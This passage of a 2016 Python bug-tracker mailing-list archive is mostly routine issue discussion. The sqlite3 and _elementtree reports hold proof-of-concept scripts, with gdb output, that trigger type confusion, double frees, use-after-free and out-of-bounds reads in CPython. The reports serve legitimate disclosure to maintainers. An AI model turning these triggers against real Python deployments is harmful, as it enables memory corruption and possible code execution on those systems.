2016 From: report at bugs.python.org (Guni) Date: Thu, 25 Aug 2016 08:40:14 +0000 Subject: [issue27833] Process is locked when try to execute Queue.put() inside In-Reply-To: <1471942613.74.0.630952786652.issue27833@psf.upfronthosting.co.za> Message-ID: <1472114414.26.0.685660501354.issue27833@psf.upfronthosting.co.za> Guni added the comment: Hi Eric, The reason why I still think is a actually bug is because the behaviour is not consistent. When we write code we don't exactly know how much data we will put in the queue. If this ticket is consider as not an actual bug it means that everybody has to make a check inside the process in order to predict what behaviour will happen. Feel free to close the ticket if you think that's a feature not a bug. Thanks ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 05:40:32 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 25 Aug 2016 09:40:32 +0000 Subject: [issue27833] Process is locked when try to execute Queue.put() inside In-Reply-To: <1471942613.74.0.630952786652.issue27833@psf.upfronthosting.co.za> Message-ID: <1472118032.22.0.268564523964.issue27833@psf.upfronthosting.co.za> Xiang Zhang added the comment: Guni, the behaviour is not consistent since your code is not that 'right'. You can not expect a not 'right' snippet to behave correctly. You can do what the programming guide says: [1] consuming all items before join [2] call q.cancel_join_thread [3] ignore prs1.join since it will be automatically joined Choose one and then the behaviour would be consistent. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 06:02:10 2016 From: report at bugs.python.org (koobs) Date: Thu, 25 Aug 2016 10:02:10 +0000 Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD CURRENT Debug 3.x" buildbot In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za> Message-ID: <1472119329.99.0.264880816429.issue27838@psf.upfronthosting.co.za> koobs added the comment: This appears to have spontaneously resolved itself after build #957 after many failures. For reference, other builders on the same host were failing as well: AMD64 FreeBSD CURRENT Debug 3.5 (#567, #568) AMD64 FreeBSD CURRENT Non-Debug 3.5 (#8, #9) And possibly others (Didn't listed any that hadn't failed in the last 5 builds) According to my (non-expert) reading of the code, the test skips (or is supposed to skip) unless group count of uid is > 1. The group membership of the buildbot user this worker runs as is only 'buildbot' and on that basis wouldn't a skip expected? Open questions are: 1) Why/how did it suddenly *start* failing. (I cant see any relevant commits at or around the time) 2) Why/how did it suddenly stop failing (I made no worker/buildbot changes Nosy vajrasky (original unit test creator) and Claudiu (who reviewed), who might be able to shine a light on what might be going on ---------- nosy: +Claudiu.Popa, vajrasky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 06:59:06 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 10:59:06 +0000 Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD CURRENT Debug 3.x" buildbot In-Reply-To: <1472119329.99.0.264880816429.issue27838@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Hum, the test has a fail ratio somewhere near 1/5. It fails for 6 months, maybe longer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 07:37:57 2016 From: report at bugs.python.org (=?utf-8?q?Jens_J=C3=B8rgen_Mortensen?=) Date: Thu, 25 Aug 2016 11:37:57 +0000 Subject: [issue27846] Base64 expansion factor is 4 to 3, not 6 to 4 In-Reply-To: <1472030737.8.0.133776759316.issue27846@psf.upfronthosting.co.za> Message-ID: <1472125077.44.0.903577544222.issue27846@psf.upfronthosting.co.za> Jens J?rgen Mortensen added the comment: That would also be a solution. Also, the sentence is not quite grammatically correct: "when space [is] expensive". ---------- versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 07:38:43 2016 From: report at bugs.python.org (=?utf-8?q?Jens_J=C3=B8rgen_Mortensen?=) Date: Thu, 25 Aug 2016 11:38:43 +0000 Subject: [issue27846] Base64 expansion factor is 4 to 3, not 6 to 4 In-Reply-To: <1472030737.8.0.133776759316.issue27846@psf.upfronthosting.co.za> Message-ID: <1472125123.25.0.213936630794.issue27846@psf.upfronthosting.co.za> Changes by Jens J?rgen Mortensen : ---------- versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 07:42:16 2016 From: report at bugs.python.org (=?utf-8?b?SsOhY2h5bSBCYXJ2w61uZWs=?=) Date: Thu, 25 Aug 2016 11:42:16 +0000 Subject: [issue27858] Add identity function to functools Message-ID: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> New submission from J?chym Barv?nek: An identity function is sometimes useful in functional-style programming as a dummy or default value. For example, we can sometimes see a pattern like this (e.g. in itertools.groupby): def f(params, key=None): if key is None: key = lambda x: x ... However, if we had a canonical itentity function: def identity(x): return x we could instead write: def f(params, key=identity): ... and the intended use of the function f and it's functioning would be more obvious simply from it's signature, while also saving a little code. As zen of Python says: Explicit is better than implicit. Of course, we can now write: def f(params, key=lambda x: x): ... but the reason why is not used is probably that it feels a bit awkward to more people than just me. ---------- components: Library (Lib) messages: 273643 nosy: J?chym Barv?nek priority: normal severity: normal status: open title: Add identity function to functools type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 07:57:34 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 25 Aug 2016 11:57:34 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472126254.83.0.493650882332.issue27858@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I had a work mate make this exact same point literally yesterday. He asked me if Python had an identity function, and when I suggested just using `lambda x: x` he grouched that this wasn't sufficiently obvious enough as "identity" is self-explanatory. (Perhaps for English speakers with a background in mathematics or functional programming.) I'm not really convinced. Its easier to just write a lambda than to `from functools import identity`, and despite what my workmate thinks, "identity" is not self-evident. Consider that identity could also be a function that returns a person's identifying information. Think about the English usage of "identity theft" and "secret identity", rather than the mathematical meaning. So I'm at best +0 on this suggestion. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 08:10:38 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 25 Aug 2016 12:10:38 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472127038.79.0.290248135703.issue27858@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Just in case anyone else thinks this is a good idea, here's a patch. ---------- keywords: +patch Added file: https://bugs.python.org/file44218/identity.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 08:20:11 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 25 Aug 2016 12:20:11 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472127611.25.0.287445504107.issue27855@psf.upfronthosting.co.za> R. David Murray added the comment: I don't think it is necessary or reasonable to expect 2to3 to handle this. It is a tool for the developer to use, so just clean up the input. ---------- nosy: +r.david.murray resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 08:20:37 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 25 Aug 2016 12:20:37 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key without trailing space In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472127637.86.0.459100263842.issue27855@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- title: 2to3: Wrong code output w/ has_key -> 2to3: Wrong code output w/ has_key without trailing space _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 08:21:45 2016 From: report at bugs.python.org (=?utf-8?b?SsOhY2h5bSBCYXJ2w61uZWs=?=) Date: Thu, 25 Aug 2016 12:21:45 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472127038.79.0.290248135703.issue27858@psf.upfronthosting.co.za> Message-ID: J?chym Barv?nek added the comment: Java offers an identity function: https://docs.oracle.com/javase/8/docs/api/java/util/function/Function.html 2016-08-25 14:10 GMT+02:00 Steven D'Aprano : > > Steven D'Aprano added the comment: > > Just in case anyone else thinks this is a good idea, here's a patch. > > ---------- > keywords: +patch > Added file: https://bugs.python.org/file44218/identity.patch > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 08:29:05 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 25 Aug 2016 12:29:05 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472128145.52.0.569528999428.issue27858@psf.upfronthosting.co.za> R. David Murray added the comment: I agree with Steven, I don't think this is really worth it, but I wouldn't vote -1. I suspect it won't get added, though, since a function I do want ('first') got rejected :) ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 09:12:50 2016 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 25 Aug 2016 13:12:50 +0000 Subject: [issue23746] sysconfg.is_python_build() is buggy In-Reply-To: <1427101982.73.0.589713060591.issue23746@psf.upfronthosting.co.za> Message-ID: <1472130770.54.0.765151974505.issue23746@psf.upfronthosting.co.za> Vinay Sajip added the comment: It's not *only* used in test - it's also used in third party libraries. For example, it's used in distlib (which is vendored by pip) to determine whether it's being run from a source build. ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 09:56:15 2016 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 25 Aug 2016 13:56:15 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1472133375.06.0.336748891507.issue23105@psf.upfronthosting.co.za> Vinay Sajip added the comment: The existing docs have a section "These constants are GNU extensions and not present if they are not defined by the C library." There could be a corresponding section for BSD extensions to which O_EXLOCK and O_SHLOCK are moved, or the word "GNU" can removed from the existing section and these two flags moved to it. How does that sound? My preference would be for the latter. ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 10:01:43 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 25 Aug 2016 14:01:43 +0000 Subject: [issue1100942] Add datetime.time.strptime and datetime.date.strptime Message-ID: <1472133703.44.0.933500926778.issue1100942@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- nosy: -mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 10:14:27 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 25 Aug 2016 14:14:27 +0000 Subject: [issue23746] sysconfg.is_python_build() is buggy In-Reply-To: <1427101982.73.0.589713060591.issue23746@psf.upfronthosting.co.za> Message-ID: <20160825141416.113158.46698.0B8E6837@psf.io> Roundup Robot added the comment: New changeset bf51f1f3569a by Vinay Sajip in branch '3.5': Issue #23746: Clarified is_python_build() documentation. https://hg.python.org/cpython/rev/bf51f1f3569a New changeset a0a7c5b1af97 by Vinay Sajip in branch 'default': Closes #23746: merged update from 3.5. https://hg.python.org/cpython/rev/a0a7c5b1af97 ---------- nosy: +python-dev resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 10:38:38 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 25 Aug 2016 14:38:38 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472135918.81.0.635550445624.issue27425@psf.upfronthosting.co.za> Emanuel Barry added the comment: Here are three patches for this: - add_gitattributes_1.patch adds `.gitattributes`, with all the newline preferences in `.hgeol` (with the exception of the "native" rule at the end, which in git is the default newline preference). - fix_newlines_1.patch fixes test_sax to properly handle CRLF (since *.xml files may have either LF or CRLF), as well as a single batch file which wasn't using CRLF line endings for some reason. - test_random_warning_1.patch is somewhat unrelated, but it makes sure that failures in the `pickle.load` call no longer show ResourceWarnings on stderr. The two tests which used to fail no longer do so. Maybe add_gitattributes_1.patch should be backported to 2.7, but probably not the other ones. ---------- keywords: +patch stage: -> patch review versions: -Python 3.5 Added file: https://bugs.python.org/file44219/add_gitattributes_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 10:38:53 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 25 Aug 2016 14:38:53 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472135933.15.0.43112064245.issue27425@psf.upfronthosting.co.za> Changes by Emanuel Barry : Added file: https://bugs.python.org/file44220/fix_newlines_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 10:39:01 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 25 Aug 2016 14:39:01 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472135941.87.0.35966261357.issue27425@psf.upfronthosting.co.za> Changes by Emanuel Barry : Added file: https://bugs.python.org/file44221/test_random_warning_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 10:57:28 2016 From: report at bugs.python.org (Steve Dower) Date: Thu, 25 Aug 2016 14:57:28 +0000 Subject: [issue25847] CPython not using Visual Studio code analysis! In-Reply-To: <1449899987.42.0.470300295936.issue25847@psf.upfronthosting.co.za> Message-ID: <1472137048.7.0.577112049951.issue25847@psf.upfronthosting.co.za> Steve Dower added the comment: Does it only check built code? I thought it would statically analyze everything? Is MS_WINDOWS code excluded, because that would explain why it "misses" issues. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:02:10 2016 From: report at bugs.python.org (Nick Papior) Date: Thu, 25 Aug 2016 15:02:10 +0000 Subject: [issue27859] argparse - subparsers does not retain namespace Message-ID: <1472137330.56.0.683571624156.issue27859@psf.upfronthosting.co.za> New submission from Nick Papior: Using argparse does not retain the Namespace variable across sub-parsers. This prohibits customization of Actions due to "upper" level arguments not being stored in the namespace passed to the sub-parsers. Hence, one may not create different sub-parsers which depend on an upper level flag. The reason is the subparser command: subnamespace, arg_strings = parser.parse_known_args(arg_strings, None) Which by default passes `None` as the namespace argument. A simple patch would be to copy the original namespace, which may then be altered. And subsequently restored, based on changes to that namespace. ---------- components: Library (Lib) files: argparse_subspacenamespace.py messages: 273654 nosy: Nick Papior priority: normal severity: normal status: open title: argparse - subparsers does not retain namespace type: enhancement versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: https://bugs.python.org/file44222/argparse_subspacenamespace.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:14:28 2016 From: report at bugs.python.org (Moritz Sichert) Date: Thu, 25 Aug 2016 15:14:28 +0000 Subject: [issue27860] Improvements to ipaddress module Message-ID: <1472138068.64.0.756560879111.issue27860@psf.upfronthosting.co.za> New submission from Moritz Sichert: This patch fixes the following minor issues with the ipaddress module: - Removed unused property _BaseV4._valid_mask_octets - Removed unused methods _BaseV4._is_valid_netmask() and _BaseV4._is_hostmask() - Replaced several calls to superclass constructors by super() It also refactors the constructors of IPv4Network, IPv4Interface, IPv6Network, and IPv6Interface. They all now use the new method _get_addr_prefix_tuple() to parse the argument. It now matches the following sentence of the documentation of IPv4/6Interface: "The meaning of address is as in the constructor of IPv4Network". Additionally they now also accept a bytes or an IPv4/6Address object representing a netmask (or a hostmask [only IPv4]) as second element of an address/netmask tuple. This makes it easier to work with C-APIs that provide netmasks only as bytes object. This patch does not try to solve issue 27683. ---------- components: Library (Lib) files: ipaddress-improvement.patch keywords: patch messages: 273655 nosy: moritzs priority: normal severity: normal status: open title: Improvements to ipaddress module type: enhancement versions: Python 3.6 Added file: https://bugs.python.org/file44223/ipaddress-improvement.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:20:23 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 25 Aug 2016 15:20:23 +0000 Subject: [issue26638] Avoid warnings about missing CLI options when building documentation In-Reply-To: <1458881380.09.0.599104229044.issue26638@psf.upfronthosting.co.za> Message-ID: <1472138423.68.0.843661697906.issue26638@psf.upfronthosting.co.za> Zachary Ware added the comment: The syntax is ` install ""`, so in this case 'pip install "Sphinx==1.3.6"` (or `pip install "Sphinx<1.4"`) should do it for you. That ought to also take care of downgrading any other packages that need it (though I don't think there are any), or at least tell you which ones should be downgraded and to what. I'm not sure why there are both `pip list` and `pip freeze`, but `pip freeze` is the one that outputs usable syntax for a requirement specifier. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:24:09 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 25 Aug 2016 15:24:09 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472138649.9.0.260697472603.issue27425@psf.upfronthosting.co.za> Emanuel Barry added the comment: Whoops, turns out I was using the wrong approach for binary files. Here come add_gitattributes_2.patch and fix_newlines_2.patch (thanks Zachary for pointing this out). ---------- Added file: https://bugs.python.org/file44224/add_gitattributes_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:24:22 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 25 Aug 2016 15:24:22 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472138662.8.0.341690650461.issue27425@psf.upfronthosting.co.za> Changes by Emanuel Barry : Added file: https://bugs.python.org/file44225/fix_newlines_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:31:27 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 15:31:27 +0000 Subject: [issue25847] CPython not using Visual Studio code analysis! In-Reply-To: <1449899987.42.0.470300295936.issue25847@psf.upfronthosting.co.za> Message-ID: <1472139087.36.0.776626697512.issue25847@psf.upfronthosting.co.za> Christian Heimes added the comment: Coverity Scan has two steps. In the first step the code is compiled with the coverity tool chain. It's a wrapper around the preprocessor and compiler. Next up the result is uploaded and analyzed by a service. So yes, the project needs to be build before it can be analyzed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:36:51 2016 From: report at bugs.python.org (tehybel) Date: Thu, 25 Aug 2016 15:36:51 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees Message-ID: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> New submission from tehybel: The first issue is a type confusion which resides in the sqlite3 module, in the file connection.c. The function pysqlite_connection_cursor takes an optional argument, a factory callable: if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|O", kwlist, &factory)) { return NULL; } If the factory callable is given, it is called to initialize a cursor: cursor = PyObject_CallFunction(factory, "O", self); After this the cursor, which is a PyObject *, is cast directly to a pysqlite_Cursor without performing any type checking: if (cursor && self->row_factory != Py_None) { Py_INCREF(self->row_factory); Py_XSETREF(((pysqlite_Cursor *)cursor)->row_factory, self->row_factory); } Here is a small script which is tested on Python-3.5.2, 64-bit, with --with-pydebug enabled: --- begin script --- import sqlite3 conn = sqlite3.connect('poc2.db') conn.row_factory = 12 conn.cursor(lambda x: "A"*0x10000) --- end script --- When run, this produces a segfault: (gdb) r ./poc2.py Program received signal SIGSEGV, Segmentation fault. 0x00007ffff6496ad8 in pysqlite_connection_cursor (self=0x7ffff68cc370, args=, kwargs=) at /home/xx/Python-3.5.2/Modules/_sqlite/connection.c:322 warning: Source file is more recent than executable. 322 Py_XSETREF(((pysqlite_Cursor *)cursor)->row_factory, self->row_factory); (gdb) p cursor $13 = (PyObject *) 0xa46b90 (gdb) p self->row_factory $14 = (PyObject *) 0x8d05f0 (gdb) x/3i $pc => 0x7ffff6496ad8 : mov rax,QWORD PTR [rdi+0x10] 0x7ffff6496adc : sub rax,0x1 0x7ffff6496ae0 : mov QWORD PTR [rdi+0x10],rax (gdb) p $rdi $15 = 0x4141414141414141 An arbitrary word in memory is decremented. ------ The second issue exists in the function pysqlite_connection_set_isolation_level which resides in /Modules/_sqlite/connection.c. It can result in memory getting freed multiple times. The problem is that the variable self->isolation_level is not cleared before being DECREF'd. The code looks like this: static int pysqlite_connection_set_isolation_level(pysqlite_Connection* self, PyObject* isolation_level) { ... Py_XDECREF(self->isolation_level); ... } This call to Py_XDECREF can trigger an arbitrary amount of python code, e.g. via self->isolation_level's __del__ method. That code could then call pysqlite_connection_set_isolation_level again, which would trigger another Py_XDECREF call on the same self->isolation_level, which can thus be freed an arbitrary number of times. One way to fix this is to use Py_CLEAR instead. Here's a proof-of-concept script which results in a segfault here: --- begin script --- import sqlite3 class S(str): def __del__(self): conn.isolation_level = S("B") conn = sqlite3.connect('poc6.db') conn.isolation_level = S("A") conn.isolation_level = "" --- end script --- When run it segfaults here, with Python-3.5.2 and --with-pydebug enabled: (gdb) r ./poc6.py Starting program: /home/xx/Python-3.5.2/python ./poc6.py Program received signal SIGSEGV, Segmentation fault. _Py_ForgetReference (op=op at entry=0x7ffff6d81b80) at Objects/object.c:1757 1757 if (op == &refchain || (gdb) bt #0 _Py_ForgetReference (op=op at entry=0x7ffff6d81b80) at Objects/object.c:1757 #1 0x000000000049f8c0 in _Py_Dealloc (op=0x7ffff6d81b80) at Objects/object.c:1785 #2 0x000000000046ced8 in method_dealloc (im=im at entry=0x7ffff7f25de8) at Objects/classobject.c:198 #3 0x000000000049f8c5 in _Py_Dealloc (op=op at entry=0x7ffff7f25de8) at Objects/object.c:1786 ... ---------- components: Extension Modules messages: 273659 nosy: ghaering, tehybel priority: normal severity: normal status: open title: sqlite3 type confusion and multiple frees versions: Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 11:40:57 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 25 Aug 2016 15:40:57 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472139657.53.0.842043416785.issue27861@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: -> needs patch type: -> crash versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:06:57 2016 From: report at bugs.python.org (EungJun Yi) Date: Thu, 25 Aug 2016 16:06:57 +0000 Subject: [issue27862] Make urllib.parse runnable as a script Message-ID: <1472141217.33.0.887571401039.issue27862@psf.upfronthosting.co.za> New submission from EungJun Yi: It would be nice if urllib.prase runnable as a script so I can easily parse urls in command line or shell script. I have attached a patch. ---------- components: Library (Lib) files: 0001-Make-urllib.parse-runnable-as-a-script.patch keywords: patch messages: 273660 nosy: EungJun.Yi priority: normal severity: normal status: open title: Make urllib.parse runnable as a script type: enhancement versions: Python 3.5 Added file: https://bugs.python.org/file44226/0001-Make-urllib.parse-runnable-as-a-script.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:12:39 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 25 Aug 2016 16:12:39 +0000 Subject: [issue27862] Make urllib.parse runnable as a script In-Reply-To: <1472141217.33.0.887571401039.issue27862@psf.upfronthosting.co.za> Message-ID: <1472141559.39.0.109213130607.issue27862@psf.upfronthosting.co.za> SilentGhost added the comment: Guido doesn't like the idea in general[0]. [0] https://bugs.python.org/issue26488#msg273329 ---------- nosy: +SilentGhost resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:13:56 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 25 Aug 2016 16:13:56 +0000 Subject: [issue27860] Improvements to ipaddress module In-Reply-To: <1472138068.64.0.756560879111.issue27860@psf.upfronthosting.co.za> Message-ID: <1472141636.44.0.796362957735.issue27860@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +pmoody stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:15:07 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 25 Aug 2016 16:15:07 +0000 Subject: [issue27859] argparse - subparsers does not retain namespace In-Reply-To: <1472137330.56.0.683571624156.issue27859@psf.upfronthosting.co.za> Message-ID: <1472141707.35.0.804442131097.issue27859@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> needs patch versions: -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:17:10 2016 From: report at bugs.python.org (tehybel) Date: Thu, 25 Aug 2016 16:17:10 +0000 Subject: [issue27863] multiple issues in _elementtree module Message-ID: <1472141830.55.0.358852521473.issue27863@psf.upfronthosting.co.za> New submission from tehybel: I'll describe 7 issues in the /Modules/_elementtree.c module here. They include multiple use-after-frees, type confusions and instances of out-of-bounds array indexing. Issue 1: use-after-free in element_get_text The problematic code looks like this: LOCAL(PyObject*) element_get_text(ElementObject* self) { /* return borrowed reference to text attribute */ PyObject* res = self->text; if (JOIN_GET(res)) { res = JOIN_OBJ(res); if (PyList_CheckExact(res)) { res = list_join(res); if (!res) return NULL; self->text = res; } } return res; } As we can see, if res is a list, we call list_join with res, which is self->text. list_join will decrease self->text's reference count. When that happens, arbitrary python code can run. If that code uses self->text, a use-after-free occurs. PoC (Proof-of-Concept segfaulting script): --- import _elementtree as et class X(str): def __del__(self): print(elem.text) b = et.TreeBuilder() b.start("test") b.data(["AAAA", X("BBBB")]) b.start("test2") elem = b.close() print(elem.text) --- Issue 2: use-after-free in element_get_tail The same type of issue also exists in element_get_tail and should be fixed there, too. Issue 3: type confusion in elementiter_next The function elementiter_next iterates over a tree consisting of elements. Each element has an array of children. Before doing any casts, most of the elementtree code is careful to check that these children are, indeed, elements; that is, that their type is correct. The problem is that elementiter_next does not validate these child objects before performing a cast. Here is the relevant line: elem = (ElementObject *)cur_parent->extra->children[child_index]; If the child is not an element, a type confusion occurs. Here's a PoC: ----- import _elementtree as et state = { "tag": "tag", "_children": [1,2,3], "attrib": "attr", "tail": "tail", "text": "text", } e = et.Element("ttt") e.__setstate__(state) for x in e.iter(): print(x) ----- Issue 4: array-out-of-bounds indexing in element_subscr This issue occurs when taking the subscript of an element. This is done using the element_subscr function. The function calls PySlice_GetIndicesEx: if (PySlice_GetIndicesEx(item, self->extra->length, &start, &stop, &step, &slicelen) < 0) { return NULL; } The problem is that to evaluate the indices, PySlice_GetIndicesEx might call back into python code. That code might cause the element's self->extra->length to change. If this happens, the variables "start", "stop" and "step" might no longer be appropriate. The code then uses these variables for array indexing: for (cur = start, i = 0; i < slicelen; cur += step, i++) { PyObject* item = self->extra->children[cur]; ... } But this could go out of bounds and interpret arbitrary memory as a PyObject. Here's a PoC that reproduces this: --- import _elementtree as et class X: def __index__(self): e[:] = [] return 1 e = et.Element("elem") for _ in range(10): e.insert(0, et.Element("child")) print(e[0:10:X()]) --- Running it results in a segfault: (gdb) r ./poc14.py Starting program: /home/xx/Python-3.5.2/python ./poc14.py Program received signal SIGSEGV, Segmentation fault. 0x000000000049f933 in PyObject_Repr (v=0x7ffff68af058) at Objects/object.c:471 471 if (Py_TYPE(v)->tp_repr == NULL) (gdb) print *v $37 = {_ob_next = 0xdbdbdbdbdbdbdbdb, _ob_prev = 0xdbdbdbdbdbdbdbdb, ob_refcnt = 0xdbdbdbdbdbdbdbdc, ob_type = 0xdbdbdbdbdbdbdbdb} As we can see, "v" is freed memory with arbitrary contents. Issue 5: array-out-of-bounds indexing in element_ass_subscr A separate issue of the same type, also due to a call to PySlice_GetIndicesEx, exists in element_ass_subscr. Here's a proof-of-concept script for that: --- import _elementtree as et class X: def __index__(self): e[:] = [] return 1 e = et.Element("elem") for _ in range(10): e.insert(0, et.Element("child")) e[0:10:X()] = [] --- To fix these, I believe we could check whether self->extra->length changed after calling PySlice_GetIndicesEx, and bail out if so. (You can grep the codebase for "changed size during iteration" for examples of some similarish cases.) Issue 6: use-after-free in treebuilder_handle_start In the function treebuilder_handle_start we see these lines: if (treebuilder_set_element_text(self->last, self->data)) return NULL; Here self->last is the most recent element, and we are setting its text to self->data. This assignment happens via the function treebuilder_set_element_text which in turn calls treebuilder_set_element_text_or_tail. There, if the element self->last is not an exact instance of Element_Type, we run these lines: PyObject *joined = list_join(data); int r; if (joined == NULL) return -1; r = _PyObject_SetAttrId(element, name, joined); Py_DECREF(joined); return r; The comment for list_join says this: /* join list elements (destroying the list in the process) */ So note that we destroy the given list. If we go back to the initial function, treebuilder_handle_start, then we recall that "element" is really self->last and "data" is actually self->data. When list_join(data) is called, self->data will therefore be destroyed. So we have to be careful and ensure that self->data is overwritten; otherwise it could get used after being freed. Unfortunately the call to _PyObject_SetAttrId could fail -- for example if "element" is an integer. Then treebuilder_handle_start just bails out without clearing self->data. This results in a use-after-free. Here's a PoC: --- import _elementtree as et b = et.TreeBuilder(element_factory=lambda x, y: 123) b.start("tag", {}) b.data("ABCD") b.start("tag2", {}) --- It sets self->last to be an integer, 123. When we try to set the attribute "text" on this integer, it fails. At that point, self->data has been freed but the reference isn't cleared. When treebuilder_dealloc is called by the garbage collector, self->data is excessively decref'd and we get a segfault: (gdb) run ./poc16.py Traceback (most recent call last): File "./poc16.py", line 